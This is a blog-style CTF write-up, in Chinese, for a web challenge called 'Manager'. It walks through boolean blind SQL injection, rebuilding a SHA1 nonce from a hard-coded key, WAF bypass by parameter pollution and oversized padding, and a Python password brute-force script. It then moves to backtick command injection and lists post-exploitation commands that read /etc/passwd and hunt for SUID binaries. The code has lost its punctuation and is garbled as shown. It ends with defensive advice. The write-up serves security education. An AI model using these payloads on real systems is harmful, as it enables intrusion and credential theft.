CTF实战:从SQL盲注到后台入侵的Manager题目解析

张开发
2026/4/15 11:26:35 15 分钟阅读

分享文章

CTF实战:从SQL盲注到后台入侵的Manager题目解析
1. SQL盲注技术入门从错误信息差异开始第一次接触CTF比赛中的SQL盲注时我和很多新手一样感到困惑。为什么叫盲注简单来说就是系统不会直接返回数据库信息但通过观察不同输入对应的不同响应我们依然能像盲人摸象一样逐步获取数据。以Manager题目为例最关键的突破口就是错误信息的差异。当输入错误的用户名和密码时系统会返回用户不存在而当用户名正确但密码错误时则会提示密码错误。这种细微差别就像黑暗中的萤火虫为我们指明了方向。实际操作中我习惯先用简单payload测试admin or 11 --这个经典语句的意思是要么用户是admin要么11永远成立。如果系统返回密码错误而非用户不存在说明admin这个用户确实存在。这就是布尔盲注(Boolean-based Blind SQLi)的基本原理。2. 深入分析nonce参数的计算机制在Manager题目中_nonce参数是个难啃的骨头。刚开始我以为它就是个普通随机数直到发现每次用相同用户名密码登录时_nonce都相同才意识到事情不简单。通过分析login.js我找到了关键线索function sign(key, data) { return CryptoJS.SHA1(key data).toString(); }这说明_nonce实际上是key和data拼接后的SHA1哈希值。更妙的是题目中的key就硬编码在JS文件里而data则是用户名和密码的组合。验证方法很简单import hashlib key secret_key # 从JS中获取的实际key data admin123 # 测试用的凭证 nonce hashlib.sha1((key data).encode()).hexdigest() print(nonce) # 对比抓包得到的值3. 绕过WAF的奇技淫巧现代WAF(Web应用防火墙)越来越智能直接扔SQL注入payload很容易被拦截。在Manager题目中我发现了两个有效的绕过技巧参数污染通过重复参数名制造混淆usernameadminusernameadmin or 11 --超长参数用垃圾数据填充参数payload admin or 11 -- padding a * 20000 # 生成2万个a final_payload payload padding实测发现当参数长度超过2万字符时很多WAF会直接放行而后端PHP仍然会处理原始payload。4. 自动化盲注脚本的编写与优化手工盲注效率太低我推荐用Python自动化这个过程。以爆破密码为例import requests import string target http://example.com/login charset string.ascii_letters string.digits _!#$%^* password for i in range(1, 32): # 假设密码最长31位 for char in charset: payload fadmin AND SUBSTRING(password,{i},1){char}-- data { username: payload, password: dummy, _nonce: generate_nonce(payload) # 需要实现这个函数 } resp requests.post(target, datadata) if 密码错误 in resp.text: password char print(fProgress: {password}) break优化技巧使用二分法替代线性搜索将时间复杂度从O(n)降到O(log n)多线程并发请求但要注意别把服务器打崩遇到特殊字符时使用HEX编码绕过过滤5. 从SQL注入到后台入侵的完整链条拿到管理员密码只是开始真正的挑战是如何利用这个突破口扩大战果。在Manager题目中登录后台后我发现了个有趣的接口/admin/exec?cmdwhoami这明显是个命令注入点但直接试;ls发现被过滤了。经过多次测试最终用反引号成功执行命令cmdecho ls /提权常用命令备忘# 查看敏感文件 cat /etc/passwd # 找SUID程序 find / -perm -4000 2/dev/null # 检查cronjob ls -la /etc/cron*6. CTF实战中的防御思路作为防守方我总结了几个关键点参数化查询永远比拼接SQL语句安全# 错误做法 cursor.execute(SELECT * FROM users WHERE username username ) # 正确做法 cursor.execute(SELECT * FROM users WHERE username%s, (username,))对_nonce这类参数应该使用足够长的随机数设置合理的过期时间服务端严格校验WAF规则建议限制单个参数长度检测常见的SQL关键词组合但不要过度影响正常业务在最近的一次内部CTF比赛中我特意在_nonce计算时加入了时间戳和用户IP的哈希使得重放攻击几乎不可能成功。这种防御思路在实际业务中也很实用。

更多文章